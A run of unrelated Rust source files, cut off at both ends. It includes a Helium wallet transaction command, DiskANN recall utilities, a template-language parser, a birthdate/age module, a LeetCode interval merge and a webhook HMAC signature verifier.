PublicKey::from_bytes(&txn.new_owner)? == wallet.public_key { txn.new_owner_signature = txn.sign(&keypair)?; } let client = new_client(api_url(wallet.public_key.network)); let envelope = txn.in_envelope(); let status = maybe_submit_txn(self.commit, &client, &envelope).await?; print_txn(Some(&envelope), &txn, &status, opts.format) } } fn print_txn( envelope: Option<&BlockchainTxn>, txn: &BlockchainTxnTransferValidatorStakeV1, status: &Option<PendingTxnStatus>, format: OutputFormat, ) -> Result { let old_address = PublicKey::from_bytes(&txn.old_address)?.to_string(); let new_address = PublicKey::from_bytes(&txn.new_address)?.to_string(); let old_owner = PublicKey::from_bytes(&txn.old_owner)?.to_string(); let new_owner = if txn.new_owner.is_empty() { "current".to_string() } else { PublicKey::from_bytes(&txn.new_owner)?.to_string() }; match format { OutputFormat::Table => { ptable!( ["Key", "Value"], ["Old address", old_address], ["New address", new_address], ["Old owner", old_owner], ["New owner", new_owner], ["Fee (DC)", txn.fee], ["Amount (HNT)", Hnt::from(txn.payment_amount)], ["Hash", status_str(status)] ); print_footer(status) } OutputFormat::Json => { let mut table = json!({ "old_address" : old_address, "new_address" : new_address, "old_owner" : old_owner, "new_owner" : new_owner, "fee": txn.fee, "amount": Hnt::from(txn.payment_amount), "hash": status_json(status) }); if let Some(envelope) = envelope { table["txn"] = envelope.to_b64()?.into(); }; print_json(&table) } } }
pub fn collatz(n: u64) -> Option<u64> { if n <= 0 { None } else { let mut current_n = n; let mut steps = 0; while current_n != 1 { if current_n % 2 == 0 { current_n = current_n / 2; } else { current_n = current_n * 3 + 1; } steps += 1; } Some(steps) } }
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT license. */ use bytemuck::{cast_slice, Pod}; use diskann::{ common::{ANNError, ANNResult, AlignedBoxWithSlice}, model::data_store::DatasetDto, utils::{copy_aligned_data_from_file, is_aligned, round_up}, }; use std::collections::HashSet; use std::fs::File; use std::io::Read; use std::mem::size_of; pub(crate) fn calculate_recall( num_queries: usize, gold_std: &[u32], gs_dist: &Option<Vec<f32>>, dim_gs: usize, our_results: &[u32], dim_or: u32, recall_at: u32, ) -> ANNResult<f64> { let mut total_recall: f64 = 0.0; let (mut gt, mut res): (HashSet<u32>, HashSet<u32>) = (HashSet::new(), HashSet::new()); for i in 0..num_queries { gt.clear(); res.clear(); let gt_slice = &gold_std[dim_gs * i..]; let res_slice = &our_results[dim_or as usize * i..]; let mut tie_breaker = recall_at as usize; if gs_dist.is_some() { tie_breaker = (recall_at - 1) as usize; let gt_dist_vec = &gs_dist.as_ref().unwrap()[dim_gs * i..]; while tie_breaker < dim_gs && gt_dist_vec[tie_breaker] == gt_dist_vec[(recall_at - 1) as usize] { tie_breaker += 1; } } (0..tie_breaker).for_each(|idx| { gt.insert(gt_slice[idx]); }); (0..tie_breaker).for_each(|idx| { res.insert(res_slice[idx]); }); let mut cur_recall: u32 = 0; for v in gt.iter() { if res.contains(v) { cur_recall += 1; } } total_recall += cur_recall as f64; } Ok(total_recall / num_queries as f64 * (100.0 / recall_at as f64)) } pub(crate) fn get_graph_num_frozen_points(graph_file: &str) -> ANNResult<usize> { let mut file = File::open(graph_file)?; let mut usize_buffer = [0; size_of::<usize>()]; let mut u32_buffer = [0; size_of::<u32>()]; file.read_exact(&mut usize_buffer)?; file.read_exact(&mut u32_buffer)?; file.read_exact(&mut u32_buffer)?; file.read_exact(&mut usize_buffer)?; let file_frozen_pts = usize::from_le_bytes(usize_buffer); Ok(file_frozen_pts) } #[inline] pub(crate) fn load_truthset( bin_file: &str, ) -> ANNResult<(Vec<u32>, Option<Vec<f32>>, usize, usize)> { let mut file = File::open(bin_file)?; let actual_file_size = file.metadata()?.len() as usize; let mut buffer = [0; size_of::<i32>()]; file.read_exact(&mut buffer)?; let npts = i32::from_le_bytes(buffer) as usize; file.read_exact(&mut buffer)?; let dim = i32::from_le_bytes(buffer) as usize; println!("Metadata: #pts = {npts}, #dims = {dim}... "); let expected_file_size_with_dists: usize = 2 * npts * dim * size_of::<u32>() + 2 * size_of::<u32>(); let expected_file_size_just_ids: usize = npts * dim * size_of::<u32>() + 2 * size_of::<u32>(); let truthset_type : i32 = match actual_file_size { // This is in the C++ code, but nothing is done in this case. Keeping it here for future reference just in case. // expected_file_size_just_ids => 2, x if x == expected_file_size_with_dists => 1, _ => return Err(ANNError::log_index_error(format!("Error. File size mismatch. File should have bin format, with npts followed by ngt followed by npts*ngt ids and optionally followed by npts*ngt distance values; actual size: {}, expected: {} or {}", actual_file_size, expected_file_size_with_dists, expected_file_size_just_ids))) }; let mut ids: Vec<u32> = vec![0; npts * dim]; let mut buffer = vec![0; npts * dim * size_of::<u32>()]; file.read_exact(&mut buffer)?; ids.clone_from_slice(cast_slice::<u8, u32>(&buffer)); if truthset_type == 1 { let mut dists: Vec<f32> = vec![0.0; npts * dim]; let mut buffer = vec![0; npts * dim * size_of::<f32>()]; file.read_exact(&mut buffer)?; dists.clone_from_slice(cast_slice::<u8, f32>(&buffer)); return Ok((ids, Some(dists), npts, dim)); } Ok((ids, None, npts, dim)) } #[inline] pub(crate) fn load_aligned_bin<T: Default + Copy + Sized + Pod>( bin_file: &str, ) -> ANNResult<(AlignedBoxWithSlice<T>, usize, usize, usize)> { let t_size = size_of::<T>(); let (npts, dim, file_size): (usize, usize, usize); { println!("Reading (with alignment) bin file: {bin_file}"); let mut file = File::open(bin_file)?; file_size = file.metadata()?.len() as usize; let mut buffer = [0; size_of::<i32>()]; file.read_exact(&mut buffer)?; npts = i32::from_le_bytes(buffer) as usize; file.read_exact(&mut buffer)?; dim = i32::from_le_bytes(buffer) as usize; } let rounded_dim = round_up(dim, 8); let expected_actual_file_size = npts * dim * size_of::<T>() + 2 * size_of::<u32>(); if file_size != expected_actual_file_size { return Err(ANNError::log_index_error(format!( "ERROR: File size mismatch. Actual size is {} while expected size is {} npts = {}, #dims = {}, aligned_dim = {}", file_size, expected_actual_file_size, npts, dim, rounded_dim ))); } println!("Metadata: #pts = {npts}, #dims = {dim}, aligned_dim = {rounded_dim}..."); let alloc_size = npts * rounded_dim; let alignment = 8 * t_size; println!( "allocating aligned memory of {} bytes... ", alloc_size * t_size ); if !is_aligned(alloc_size * t_size, alignment) { return Err(ANNError::log_index_error(format!( "Requested memory size is not a multiple of {}. Can not be allocated.", alignment ))); } let mut data = AlignedBoxWithSlice::<T>::new(alloc_size, alignment)?; let dto = DatasetDto { data: &mut data, rounded_dim, }; println!("done. Copying data to mem_aligned buffer..."); let (_, _) = copy_aligned_data_from_file(bin_file, dto, 0)?; Ok((data, npts, dim, rounded_dim)) }
fn main(){ let x=43; let y=x; println!("x:{},y:{}",&x,&y); }
use combine::{parser, Parser}; use combine::combinator::{optional, ParserExt, sep_by, many, many1}; use combine::combinator::{chainl1, between, choice, sep_end_by}; use util::join; use super::Block; use super::parse_html_expr; use super::token::{Token, ParseToken}; use super::token::TokenType as Tok; use super::token::lift; use super::{State, Result}; type ChainFun = fn(Expression, Expression) -> Expression; #[derive(Debug, Clone)] pub struct Param { pub name: String, pub default_value: Option<String>, } #[derive(Debug, Clone, Copy)] pub enum Comparator { Eq, NotEq, Less, LessEq, Greater, GreaterEq, } #[derive(Debug, Clone)] pub enum Expression { Name(String), Str(String), Format(Vec<Fmt>), Num(String), New(Box<Expression>), Not(Box<Expression>), And(Box<Expression>, Box<Expression>), Or(Box<Expression>, Box<Expression>), Attr(Box<Expression>, String), Mul(Box<Expression>, Box<Expression>), Div(Box<Expression>, Box<Expression>), Add(Box<Expression>, Box<Expression>), Sub(Box<Expression>, Box<Expression>), Comparison(Comparator, Box<Expression>, Box<Expression>), Item(Box<Expression>, Box<Expression>), Call(Box<Expression>, Vec<Expression>), Dict(Vec<(String, Expression)>), List(Vec<Expression>), } #[derive(Debug, Clone)] pub enum LinkDest { Stream(Expression), Mapping(Expression, Expression), } #[derive(Debug, Clone)] pub enum Link { One(String, Option<Expression>, LinkDest), Multi(Vec<(String, Option<Expression>, Option<String>)>, LinkDest), } #[derive(Debug, Clone)] pub enum Fmt { Raw(String), Float(Expression, u32), // TODO(tailhook) zero-padding Int(Expression), // TODO(tailhook) zero-padding Str(Expression), // TODO(tailhook) need formatting or padding? } #[derive(Debug, Clone)] pub enum Statement { Element { name: String, classes: Vec<(String, Option<Expression>)>, attributes: Vec<(String, Expression)>, body: Vec<Statement>, }, Format(Vec<Fmt>), Output(Expression), Store(String, Expression), Let(String, Expression), Link(Vec<Link>), Condition(Vec<(Expression, Vec<Statement>)>, Option<Vec<Statement>>), ForOf(String, Expression, Option<Expression>, Vec<Statement>), } fn param<'x>(input: State<'x>) -> Result<'x, Param> { lift(Tok::Ident).and(optional(lift(Tok::Equals) .with(lift(Tok::String)))) // TODO(tailhook) more expressions .map(|(Token(_, name, _), opt)| Param { name: String::from(name), default_value: opt.map(ParseToken::unescape) }) .parse_state(input) } fn dash_name<'a>(input: State<'a>) -> Result<'a, String> { sep_by::<Vec<_>, _, _>( lift(Tok::Ident).or(lift(Tok::Number)).map(ParseToken::into_string), lift(Tok::Dash)) .map(|x| join(x.iter(), "-")) .parse_state(input) } fn element_start<'a>(input: State<'a>) -> Result<'a, (String, Vec<(String, Option<Expression>)>)> { let element_head = lift(Tok::Ident) .map(ParseToken::into_string) .and(many::<Vec<_>, _>(lift(Tok::Dot) .with(parser(dash_name)) .and(optional(lift(Tok::Question) .with(between(lift(Tok::OpenParen), lift(Tok::CloseParen), parser(expression))))) )); let div_head = many1::<Vec<_>, _>( lift(Tok::Dot) .with(parser(dash_name)) .and(optional(lift(Tok::Question) .with(between(lift(Tok::OpenParen), lift(Tok::CloseParen), parser(expression)))))) .map(|items| (String::from("div"), items)); element_head .or(div_head) .parse_state(input) } fn attributes<'a>(input: State<'a>) -> Result<'a, Option<Vec<(String, Expression)>>> { optional(lift(Tok::OpenBracket) .with(sep_end_by::<Vec<_>, _, _>( parser(dash_name) .skip(lift(Tok::Equals)) .and(lift(Tok::String) .map(parse_format_string) .map(Expression::Format) .or(parser(expression))), lift(Tok::Comma))) .skip(lift(Tok::CloseBracket))) .parse_state(input) } fn element<'a>(input: State<'a>) -> Result<'a, Statement> { parser(element_start) .and(parser(attributes)) .and( lift(Tok::String) .skip(lift(Tok::Newline)) .map(|x| Some(vec![Statement::Format(parse_format_string(x))])) .or(lift(Tok::Newline) .with(parser(chunk)))) .map(|(((name, classes), opt_attributes), opt_body)| Statement::Element { name: name, classes: classes, attributes: opt_attributes.unwrap_or(vec!()), body: opt_body.unwrap_or(vec!()), }) .parse_state(input) } fn parse_format_string(tok: Token) -> Vec<Fmt> { let value = tok.unescape(); let mut iter = value.char_indices(); let mut buf = vec![]; let mut cur = 0; loop { let mut start = None; let mut end = None; let mut fmt = None; for (idx, ch) in &mut iter { if ch == '{' && idx < value.len()-1 && &value[idx+1..idx+2] != "{" { start = Some(idx); break; } } for (idx, ch) in &mut iter { if ch == ':' && fmt.is_none() { fmt = Some(idx); } else if ch == '}' { end = Some(idx); break; } } if start.is_none() || end.is_none() { if cur < value.len() { buf.push(Fmt::Raw(String::from(&value[cur..]))); } break; } let start = start.unwrap(); let end = end.unwrap(); if start > cur { buf.push(Fmt::Raw(String::from(&value[cur..start]))); } if end > start { let expr = parse_html_expr(&value[start+1..fmt.unwrap_or(end)]) .unwrap(); // TODO(tailhook) real error reporting if let Some(fmt_off) = fmt { // TODO(tailhook) formatting buf.push(Fmt::Str(expr)); } else { buf.push(Fmt::Str(expr)); } } cur = end+1; } return buf; } fn literal<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::String).skip(lift(Tok::Newline)) .map(parse_format_string) .map(Statement::Format) .parse_state(input) } fn call<'a>(input: State<'a>) -> Result<'a, Expression> { enum Sub { GetAttr(String), GetItem(Expression), Call(Vec<Expression>), } parser(atom) .and(many::<Vec<_>,_>( lift(Tok::Dot).with(lift(Tok::Ident)) .map(ParseToken::into_string).map(Sub::GetAttr) .or(between(lift(Tok::OpenBracket), lift(Tok::CloseBracket), parser(expression)).map(Sub::GetItem)) .or(between(lift(Tok::OpenParen), lift(Tok::CloseParen), sep_end_by::<Vec<_>, _, _>(parser(expression), lift(Tok::Comma)) .map(Sub::Call))))) .map(|(expr, suffixes)| suffixes.into_iter().fold(expr, |expr, sub| match sub { Sub::GetAttr(x) => Expression::Attr(Box::new(expr), x), Sub::GetItem(x) => Expression::Item(Box::new(expr), Box::new(x)), Sub::Call(x) => Expression::Call(Box::new(expr), x), })) .parse_state(input) } fn dict<'a>(input: State<'a>) -> Result<'a, Expression> { between(lift(Tok::OpenBrace), lift(Tok::CloseBrace), sep_end_by::<Vec<_>, _, _>( lift(Tok::String).map(ParseToken::unescape) .or(lift(Tok::Ident).map(ParseToken::into_string)) .skip(lift(Tok::Colon)) .and(parser(expression)), lift(Tok::Comma))) .map(Expression::Dict) .parse_state(input) } fn list<'a>(input: State<'a>) -> Result<'a, Expression> { between(lift(Tok::OpenBracket), lift(Tok::CloseBracket), sep_end_by::<Vec<_>, _, _>(parser(expression), lift(Tok::Comma))) .map(Expression::List) .parse_state(input) } fn atom<'a>(input: State<'a>) -> Result<'a, Expression> { lift(Tok::Ident).map(ParseToken::into_string).map(Expression::Name) .or(lift(Tok::New).with(parser(expression)) .map(|x| Expression::New(Box::new(x)))) .or(lift(Tok::String) .map(ParseToken::unescape).map(Expression::Str)) .or(lift(Tok::Number) .map(ParseToken::into_string).map(Expression::Num)) .or(parser(dict)) .or(parser(list)) .or(between(lift(Tok::OpenParen), lift(Tok::CloseParen), parser(expression))) .parse_state(input) } fn multiply(l: Expression, r: Expression) -> Expression { Expression::Mul(Box::new(l), Box::new(r)) } fn divide(l: Expression, r: Expression) -> Expression { Expression::Div(Box::new(l), Box::new(r)) } fn add(l: Expression, r: Expression) -> Expression { Expression::Add(Box::new(l), Box::new(r)) } fn subtract(l: Expression, r: Expression) -> Expression { Expression::Sub(Box::new(l), Box::new(r)) } fn sum<'a>(input: State<'a>) -> Result<'a, Expression> { let factor = lift(Tok::Multiply).map(|_| multiply as ChainFun) .or(lift(Tok::Divide).map(|_| divide as ChainFun)); let sum = lift(Tok::Plus).map(|_| add as ChainFun) .or(lift(Tok::Dash).map(|_| subtract as ChainFun)); let factor = chainl1(parser(call), factor); chainl1(factor, sum) .parse_state(input) } pub fn comparison<'a>(input: State<'a>) -> Result<'a, Expression> { parser(sum).and(many(choice([ lift(Tok::Eq), lift(Tok::NotEq), lift(Tok::Less), lift(Tok::LessEq), lift(Tok::Greater), lift(Tok::GreaterEq), ]).and(parser(sum)))) .map(|(expr, tails): (Expression, Vec<(_, Expression)>)| { let mut expr = expr; let mut prev = expr.clone(); for (Token(tok, _, _), value) in tails.into_iter() { let comp = match tok { Tok::Eq => Comparator::Eq, Tok::NotEq => Comparator::NotEq, Tok::Less => Comparator::Less, Tok::LessEq => Comparator::LessEq, Tok::Greater => Comparator::Greater, Tok::GreaterEq => Comparator::GreaterEq, _ => unreachable!(), }; expr = Expression::Comparison(comp, Box::new(prev), Box::new(value.clone())); prev = value; } return expr; }) .parse_state(input) } pub fn boolean<'a>(input: State<'a>) -> Result<'a, Expression> { let not = parser(comparison) .or(lift(Tok::Not).with(parser(comparison)) .map(Box::new).map(Expression::Not)); let and = chainl1(not, lift(Tok::And) .map(|_| |a, b| Expression::And(Box::new(a), Box::new(b)))); let mut or = chainl1(and, lift(Tok::Or) .map(|_| |a, b| Expression::Or(Box::new(a), Box::new(b)))); or.parse_state(input) } pub fn expression<'a>(input: State<'a>) -> Result<'a, Expression> { parser(boolean).parse_state(input) } fn store<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::Store) .with(lift(Tok::Ident).map(ParseToken::into_string)) .skip(lift(Tok::Equals)) .and(parser(expression)).skip(lift(Tok::Newline)) .map(|(name, value)| Statement::Store(name, value)) .parse_state(input) } fn let_var<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::Let) .with(lift(Tok::Ident).map(ParseToken::into_string)) .skip(lift(Tok::Equals)) .and(parser(expression)).skip(lift(Tok::Newline)) .map(|(name, value)| Statement::Let(name, value)) .parse_state(input) } fn link_dest<'a>(input: State<'a>) -> Result<'a, LinkDest> { parser(expression) .and(optional(lift(Tok::ArrowRight) .with(parser(expression)))) .map(|(x, y)| match y { Some(dest) => LinkDest::Mapping(x, dest), None => LinkDest::Stream(x), }) .parse_state(input) } fn multi_link<'a>(input: State<'a>) -> Result<'a, Link> { lift(Tok::OpenBrace) .with(sep_end_by::<Vec<_>, _, _>( lift(Tok::Ident).map(ParseToken::into_string) .and(optional( lift(Tok::Colon).with( lift(Tok::Ident).map(ParseToken::into_string)))) .and(optional(between(lift(Tok::OpenBracket), lift(Tok::CloseBracket), parser(expression)))) .map(|((n, a), x)| (n, x, a)), lift(Tok::Comma))) .skip(lift(Tok::CloseBrace)) .skip(lift(Tok::Equals)) .and(parser(link_dest)) .map(|(lst, dest)| Link::Multi(lst, dest)) .parse_state(input) } fn single_link<'a>(input: State<'a>) -> Result<'a, Link> { lift(Tok::Ident) .and(optional(between(lift(Tok::OpenBracket), lift(Tok::CloseBracket), parser(expression)))) .skip(lift(Tok::Equals)) .and(parser(link_dest)) .map(|((name, filt), dest)| Link::One(name.into_string(), filt, dest)) .parse_state(input) } fn link<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::Link) .with(sep_end_by::<Vec<_>, _, _>( parser(single_link).or(parser(multi_link)), lift(Tok::Comma))) .skip(lift(Tok::Newline)) .map(Statement::Link) .parse_state(input) } fn condition<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::If) .with(parser(expression)) .skip(lift(Tok::Colon)) .skip(lift(Tok::Newline)) .and(parser(chunk)) .and(optional(many::<Vec<_>,_>( lift(Tok::Elif) .with(parser(expression)) .skip(lift(Tok::Colon)) .skip(lift(Tok::Newline)) .and(parser(chunk)) ))) .and(optional(lift(Tok::Else) .skip(lift(Tok::Colon)) .skip(lift(Tok::Newline)) .with(parser(chunk)) )) .map(|(((cond, body), opt_elifs), opt_else)| Statement::Condition( vec![(cond, body.unwrap_or(vec!()))] .into_iter() .chain(opt_elifs.map( |v| v.into_iter() .map(|(expr, opt_body)| (expr, opt_body.unwrap_or(vec!()))) .collect() ).unwrap_or(vec!()).into_iter()) .collect(), opt_else.and_then(|x| x))) .parse_state(input) } fn iteration<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::For) .with(lift(Tok::Ident)) .skip(lift(Tok::Of)) .and(parser(expression)) .and(optional( lift(Tok::Key) .with(parser(expression)))) .skip(lift(Tok::Colon)) .skip(lift(Tok::Newline)) .and(parser(chunk)) .map(|(((name, array), opt_key), opt_body)| Statement::ForOf( name.into_string(), array, opt_key, opt_body.unwrap_or(vec!()))) .parse_state(input) } fn output<'a>(input: State<'a>) -> Result<'a, Statement> { lift(Tok::Equals) .with(parser(expression)) .skip(lift(Tok::Newline)) .map(Statement::Output) .parse_state(input) } fn statement<'a>(input: State<'a>) -> Result<'a, Statement> { parser(element) .or(parser(literal)) .or(parser(store)) .or(parser(let_var)) .or(parser(link)) .or(parser(condition)) .or(parser(iteration)) .or(parser(output)) .parse_state(input) } fn params<'a>(input: State<'a>) -> Result<'a, Option<Vec<Param>>> { optional(lift(Tok::OpenParen) .with(sep_end_by::<Vec<_>, _, _>(parser(param), lift(Tok::Comma))) .skip(lift(Tok::CloseParen))) .parse_state(input) } fn events<'a>(input: State<'a>) -> Result<'a, Option<Vec<String>>> { optional(lift(Tok::Events) .with(sep_end_by::<Vec<_>, _, _>( lift(Tok::Ident).map(ParseToken::into_string), lift(Tok::Comma), ))) .parse_state(input) } pub fn chunk<'a>(input: State<'a>) -> Result<'a, Option<Vec<Statement>>> { optional( lift(Tok::Indent) .with(many1(parser(statement))) .skip(lift(Tok::Dedent))) .parse_state(input) } pub fn block<'a>(input: State<'a>) -> Result<'a, Block> { lift(Tok::Ident).map(ParseToken::into_string) .and(parser(params)) .and(parser(events)) .skip(lift(Tok::Colon)) .skip(lift(Tok::Newline)) .and(parser(chunk)) .map(|(((name, opt_params), opt_events), opt_stmtlist)| { Block::Html { name: name, params: opt_params.unwrap_or(vec!()), events: opt_events.unwrap_or(vec!()), statements: opt_stmtlist.unwrap_or(vec!()), } }) .parse_state(input) }
extern crate chrono; use chrono::prelude::*; /// # Module for working with the date of birth. /// A simple structure with the chrono::Date<Utc> field and the methods /// of working with this date. /// The module `user` uses the `chrono` module /// [Chrono]: https://crates.io/crates/chrono /// /// ## Examples /// /// Basic usage: /// /// ```rust /// use user::User; /// /// let (year, month, day) = (1985, 2, 13); /// if let Some(user) = User::new(year, month, day) { /// println!("Your age:{} years old", user.age()); /// match user.is_adult() { /// true => println!("successful"), /// false => println!("You are not yet 18 years old"), /// } /// } /// ``` mod user { use super::*; /// The structure contains the user's date of birth. pub struct User { birthdate: Date<Utc>, } /// Implementation of methods for working with the date of birth of the user. impl User { /// Returns the current age of the user in years. /// It takes into account the high years and the time zone. /// /// ## Examples /// /// Basic usage: /// /// ```rust /// use user::User; /// /// let (year, month, day) = (1985, 2, 13); /// if let Some(user) = User::new(year, month, day) { /// println!("Your age:{} years old", user.age()); /// } /// ``` pub fn age(&self) -> i32 { let today: Date<Utc> = Utc::today(); let mut year = 1; if today.month() > self.birthdate.month() || self.birthdate.month() == today.month() && self.birthdate.day() <= today.day() || today.year() == self.birthdate.year() { year = 0; } (today.year() - self.birthdate.year()) - year } /// Checks if user is 18 years old at the moment. /// /// ## Examples /// /// Basic usage: /// /// ```rust /// use user::User; /// /// let (year, month, day) = (1985, 2, 13); /// if let Some(user) = User::new(year, month, day) { /// match user.is_adult() { /// true => println!("successful"), /// false => println!("You are not yet 18 years old"), /// } /// } /// ``` pub fn is_adult(&self) -> bool { self.age() >= 18 } /// Creates a new User object. /// /// ## Examples /// /// Basic usage: /// /// ```rust /// use user::User; /// /// let (year, month, day) = (1985, 2, 13); /// if let Some(user) = User::new(year, month, day) { /// /// } /// ``` pub fn new(year: i32, month: u32, day: u32) -> Option<Self> { if Utc::today().year() < year { return None; } NaiveDate::from_ymd_opt(year, month, day).and_then(|naive_date: NaiveDate| { Some(User { birthdate: Date::<Utc>::from_utc(naive_date, Utc), }) }) } } #[cfg(test)] mod test { use super::*; #[test] fn before_birthday() { let birthdate: Date<Utc> = (Utc::now() - chrono::Duration::days(1)).date(); match User::new(birthdate.year(), birthdate.month(), birthdate.day()) { Some(_user) => { let today: Date<Utc> = Utc::today(); if birthdate.month() > today.month() || today.year() == birthdate.year() || birthdate.month() == today.month() && birthdate.day() <= today.day() { assert_eq!(_user.age(), Utc::now().year() - birthdate.year()); } else { assert_eq!(_user.age(), (Utc::now().year() - birthdate.year()) - 1); } } None => assert!(false), } } #[test] fn after_birthday() { let birthdate: Date<Utc> = (Utc::now() + chrono::Duration::days(1)).date(); match User::new(birthdate.year(), birthdate.month(), birthdate.day()) { Some(_user) => { let today: Date<Utc> = Utc::today(); if birthdate.month() > today.month() || today.year() == birthdate.year() || birthdate.month() == today.month() && birthdate.day() <= today.day() { assert_eq!(_user.age(), Utc::now().year() - birthdate.year()); } else { assert_eq!(_user.age(), (Utc::now().year() - birthdate.year()) - 1); } } None => assert!(false), } } #[test] fn none_on_unknown_date() { assert!(User::new(2017, 2, 29).is_none()); } #[test] fn some_on_success_date() { assert!(User::new(2016, 2, 29).is_some()); } #[test] fn year_before_our_era() { assert!(User::new(-1000, 1, 1).is_some()); } } } fn main() { use user::User; let (year, month, day) = (1985, 2, 13); if let Some(user) = User::new(year, month, day) { println!("Your age:{} years old", user.age()); match user.is_adult() { true => println!("You are 18 years old"), false => println!("You are not yet 18 years old"), } } }
impl Solution { pub fn merge(intervals: Vec<Vec<i32>>) -> Vec<Vec<i32>> { if intervals.len() == 0 { return vec![]; } let mut xs = intervals.clone(); xs.sort_by(|a, b| a[0].partial_cmp(&b[0]).unwrap()); let mut res: Vec<Vec<i32>> = vec![]; let mut prev = vec![xs[0][0], xs[0][0]]; for v in xs.iter() { if v[0] <= prev[1] { prev = vec![prev[0], v[1].max(prev[1])]; continue; } res.push(prev); prev = v.clone(); } res.push(prev); res } }
#![cfg_attr(not(any(feature = "sha-1", feature = "sha-2")), allow(unused))] use std::fmt::{self, Debug, Formatter}; use hmac::digest::block_buffer; use hmac::digest::core_api::{ AlgorithmName, BufferKindUser, CoreProxy, FixedOutputCore, UpdateCore, }; use hmac::digest::crypto_common::BlockSizeUser; use hmac::digest::typenum; use hmac::digest::{self, HashMarker, OutputSizeUser}; use hmac::{Hmac, Mac}; #[cfg(feature = "sha-1")] use sha1::Sha1; #[cfg(feature = "sha-2")] use sha2::{Sha256, Sha384, Sha512}; /// Serialized `X-Hub-Signature` header value. pub enum Signature { #[cfg(feature = "sha-1")] Sha1(digest::Output<Sha1>), #[cfg(feature = "sha-2")] Sha256(digest::Output<Sha256>), #[cfg(feature = "sha-2")] Sha384(digest::Output<Sha384>), #[cfg(feature = "sha-2")] Sha512(digest::Output<Sha512>), } /// A pair of `Signature` and its associated `Hmac` instance, used to verify the given signature. #[derive(Debug)] pub enum Verifier { #[cfg(feature = "sha-1")] Sha1(GenericVerifier<Sha1>), #[cfg(feature = "sha-2")] Sha256(GenericVerifier<Sha256>), #[cfg(feature = "sha-2")] Sha384(GenericVerifier<Sha384>), #[cfg(feature = "sha-2")] Sha512(GenericVerifier<Sha512>), } pub struct GenericVerifier<D: CoreProxy> where D::Core: HashMarker + UpdateCore + FixedOutputCore + BufferKindUser<BufferKind = block_buffer::Eager> + Default + Clone, <D::Core as BlockSizeUser>::BlockSize: typenum::IsLess<typenum::U256>, typenum::Le<<D::Core as BlockSizeUser>::BlockSize, typenum::U256>: typenum::NonZero, { signature: digest::Output<Hmac<D>>, mac: Hmac<D>, } /// Error while serializing a `Signature`. pub enum SerializeError<'a> { Parse, UnknownMethod(&'a [u8]), } /// Error verifying a signature sent by a hub, indicating that the distributed content has been /// falsified. /// /// If you encounter this error, you must not trust the content. #[derive(thiserror::Error)] #[error("the hub has sent an invalid signature")] pub struct SignatureMismatch { _priv: (), } impl Signature { pub fn parse(header_value: &[u8]) -> Result<Self, SerializeError<'_>> { let pos = memchr::memchr(b'=', header_value); let (method, hex) = if let Some(i) = pos { let (method, hex) = header_value.split_at(i); (method, &hex[1..]) } else { return Err(SerializeError::Parse); }; fn decode_hex<T: OutputSizeUser>( hex: &[u8], ) -> Result<digest::Output<T>, SerializeError<'_>> { let mut ret: digest::Output<T> = Default::default(); if hex::decode_to_slice(hex, &mut ret).is_err() { return Err(SerializeError::Parse); } Ok(ret) } match method { #[cfg(feature = "sha-1")] b"sha1" => decode_hex::<Sha1>(hex).map(Signature::Sha1), #[cfg(feature = "sha-2")] b"sha256" => decode_hex::<Sha256>(hex).map(Signature::Sha256), #[cfg(feature = "sha-2")] b"sha384" => decode_hex::<Sha384>(hex).map(Signature::Sha384), #[cfg(feature = "sha-2")] b"sha512" => decode_hex::<Sha512>(hex).map(Signature::Sha512), _ => Err(SerializeError::UnknownMethod(method)), } } pub fn is_preferable_to(&self, other: &Self) -> bool { self.discriminant() >= other.discriminant() } fn discriminant(&self) -> u8 { match *self { #[cfg(feature = "sha-1")] Signature::Sha1(_) => 0, #[cfg(feature = "sha-2")] Signature::Sha256(_) => 1, #[cfg(feature = "sha-2")] Signature::Sha384(_) => 2, #[cfg(feature = "sha-2")] Signature::Sha512(_) => 3, } } pub fn verify_with(self, secret: &[u8]) -> Verifier { match self { #[cfg(feature = "sha-1")] Signature::Sha1(signature) => Verifier::Sha1(GenericVerifier::new(signature, secret)), #[cfg(feature = "sha-2")] Signature::Sha256(signature) => { Verifier::Sha256(GenericVerifier::new(signature, secret)) } #[cfg(feature = "sha-2")] Signature::Sha384(signature) => { Verifier::Sha384(GenericVerifier::new(signature, secret)) } #[cfg(feature = "sha-2")] Signature::Sha512(signature) => { Verifier::Sha512(GenericVerifier::new(signature, secret)) } } } } impl Verifier { pub fn update(&mut self, bytes: &[u8]) { match *self { #[cfg(feature = "sha-1")] Verifier::Sha1(ref mut inner) => inner.mac.update(bytes), #[cfg(feature = "sha-2")] Verifier::Sha256(ref mut inner) => inner.mac.update(bytes), #[cfg(feature = "sha-2")] Verifier::Sha384(ref mut inner) => inner.mac.update(bytes), #[cfg(feature = "sha-2")] Verifier::Sha512(ref mut inner) => inner.mac.update(bytes), } } pub fn verify_reset(&mut self) -> std::result::Result<(), SignatureMismatch> { match *self { #[cfg(feature = "sha-1")] Verifier::Sha1(ref mut inner) => inner.verify_reset(), #[cfg(feature = "sha-2")] Verifier::Sha256(ref mut inner) => inner.verify_reset(), #[cfg(feature = "sha-2")] Verifier::Sha384(ref mut inner) => inner.verify_reset(), #[cfg(feature = "sha-2")] Verifier::Sha512(ref mut inner) => inner.verify_reset(), } } } impl Debug for SignatureMismatch { fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { f.debug_struct("SignatureMismatch").finish() } } impl<D: CoreProxy> Debug for GenericVerifier<D> where D::Core: AlgorithmName + HashMarker + UpdateCore + FixedOutputCore + BufferKindUser<BufferKind = block_buffer::Eager> + Default + Clone, <D::Core as BlockSizeUser>::BlockSize: typenum::IsLess<typenum::U256>, typenum::Le<<D::Core as BlockSizeUser>::BlockSize, typenum::U256>: typenum::NonZero, { fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result { let GenericVerifier { ref signature, ref mac, } = *self; f.debug_struct("GenericVerifier") .field("signature", signature) .field("mac", mac) .finish() } } impl<D: CoreProxy> GenericVerifier<D> where D::Core: HashMarker + UpdateCore + FixedOutputCore + BufferKindUser<BufferKind = block_buffer::Eager> + Default + Clone, <D::Core as BlockSizeUser>::BlockSize: typenum::IsLess<typenum::U256>, 